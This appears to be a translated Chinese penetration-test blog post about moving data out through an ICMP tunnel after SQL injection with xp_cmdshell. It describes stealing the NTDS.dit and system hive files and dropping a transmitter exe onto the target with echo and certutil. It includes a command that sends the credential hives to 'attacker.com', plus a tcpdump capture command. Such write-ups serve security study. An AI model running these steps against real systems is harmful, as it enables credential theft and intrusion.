前言
在最近的一个渗透测试项目中,我们遇到的一种情况,服务器上不允许出站流量。只有ICMP(和DNS)的流量被允许。在这篇博客文章我们来讨论如何使用ICMP隧道传输一个未被过滤的数据。
攻击场景
场景是一个web应用程序的渗透测试。该web应用程序是唯一可用的连在客户的内网上的,提供了一个VPN访问应用程序。该VPN只允许我们连接到这台主机(Web服务器IP)和一个端口(443)。
攻击
事实证明,我们成功地做到这一点:
- web应用程序存在sql注入漏洞。
- web应用程序使用sa连接到mssql数据库。
- 我们可以使用xp_cmdshell来执行系统命令(sqlmap),需要注意的是通过SQL注入获得的shell不是交互式的。我们发出的命令首先被存储在数据库中的表,然后通过SQL查询中读出。另外,站库分离。 Web服务器没有以外的任何端口。
- SQLServer并不是以system权限运行的,但是是一个域管理员帐户(domain\ sqlsvc)。
- 结果,我们获得了域控。
阻碍
主机在内部域中没有外出的流量,我们试图寻找代理服务器,然后并没有找到,唯一的连接只允许ICMP和DNS流量。所以,我们现在所面临的问题是:
- 怎么不通过借助工具来获取管理的hash(metasploit, fgdump, pwdump等)。
- 即使我们获得了hash,那么我怎么把他导出到我们的机器上进行离线破解。
问题1很快被解决了,我们从一个有趣的博客上找到了方法,使用Volume Shadow Copies技术获取了NTDS.dit和system.hive这两个文件。
现在我们有了hive的文件,我们需要把他发送到我们的机器上进行离线破解,我们希望有这么一个工具,能够把hive文件以icmp数据包的形式从目标机上发送到我们的机器上,然后还需要一个数据包捕获工具,捕获所有的请求(ping)流量。
我们找到了一些现有的关于icmp隧道的工具,但是问题是:
- 貌似现有的工具中没有能够传递文件
- 我们怎么把客户端传到目标机上面
所以我们研究了一下,并且找到了方法:
- 把hive转换为base64
- 把这个base64的文本文件分割为小块
- 使用分割后的块创建一个icmp隧道,使之跟我们的服务器具有相同的序列号
- 在我们的机器上运行流量捕获工具捕获流量
- 当接收到所有数据之后,删除所有的请求头,删除所有包含ping请求的数据
- 在我们的机器上进行base64解码
幸运的是,windows默认安装了一个名为certutil的软件,能够轻松帮助我们进行base64编码。
然后我们使用certutil对hive文件进行base64编码
当我们有编码后的文件,我们需要创建成块,使用ICMP发送到我们的服务器。这是比较
麻烦的,所以我们创建了一个python脚本,把base64编码的文本作为输入将其划分成块,以ICMP的请求方式把每块发送到指定的公网IP地址的。
然后我们还得把py文件转换成exe文件,因为windows默认不装python的,可以使用py2exe,下面是一个示例代码片段。
Code:
1
2
3
4
5
6
7
8
|
from distutils.core import setup
import py2exe, sys, os
sys.argv.append(‘py2exe’)
setup(
options = {‘py2exe’: {‘bundle_files’: 1, ‘compressed’: True}},
windows = [{‘script’: “ICMP.py”}],
zipfile = None,
)
|
要注意的是:当我们使用bundle_files选项来转换文件的时候,将会输出一个独立的可执行文件,包含所有需要的模块和使用的python解释器
现在有了exe文件,那么我们怎么把这个东西传到目标机器上呢,看下面
- 1.使用certutil把exe转换为base64编码的文本。
- 2.大概80kb吧,我们决定把它转换成块,8000个字符一行,大概660行。要注意的是echo命令有限制长度的,所以使用这个方法。
- 3.所以我们有660行左右的web请求,实质上是通过SQLi来执行的。
1
|
cmd.exe /c echo “base64_text”>>ICMPt_transmitter.txt
|
- 4.然后我们执行以下命令,最终在目标上面得到了exe文件。
1
|
certutil –decode ICMP_transmitter.txt ICMP_transmitter.exe
|
现在我们就来执行exe文件,要传递的文件和接受的地址作为参数
1
|
ICMP_transmitter.exe “hive” “attacker.com”
|
它使用certutil把hive文件转换为base64编码,创建块,并且以icmp的方式发送块。
在我们的服务器上使用tcpdump来捕获所有的icmp流量,保存为pcap文件,当传输完成之后,通过tcpdump的参数建立base64编码的文件,当最终的文件确定之后,使用certutil来转换。
1
|
tcpdump –i eth0 ICMP and ICMP[ICMPtype]=ICMP–echo –XX –vvv –w output.txt
|
文件的完整性可以对比传输前后的md5值。
步骤
Step 1:使用certutil计算目标机上文件的md5值。
Step 2: 在我们的机器上启动tcpdump捕获所有的icmp数据包。
Step 3:使用ICMP_transmitter.exe把hive文件传输到我们的机器上。
Step 4: 当传输结束之后,使用ctrl+c来结束tcpdump的进程,输出的文件是pcap后缀或txt后缀可以使用-w参数来指定。
Step 5: 使用parser.sh来解析输出文件,获取到了干净的base64编码的文件命名为transmitted.txt
Step 6: 如果你的系统是windows那么同样使用certutil命令来把transmitted.txt文件转换为hive文件,如果是linux/mac系统,那么使用base64 -d命令。然后再检查下md5是否相同。
这可能不是个优雅的方法,但是确实奏效了。
工具
参考
https://gist.github.com/pklaus/856268 works perfectly!
https://technet.microsoft.com/en-us/library/cc732443.aspx
https://www.py2exe.org
http://www.py2exe.org/index.cgi/SingleFileExecutable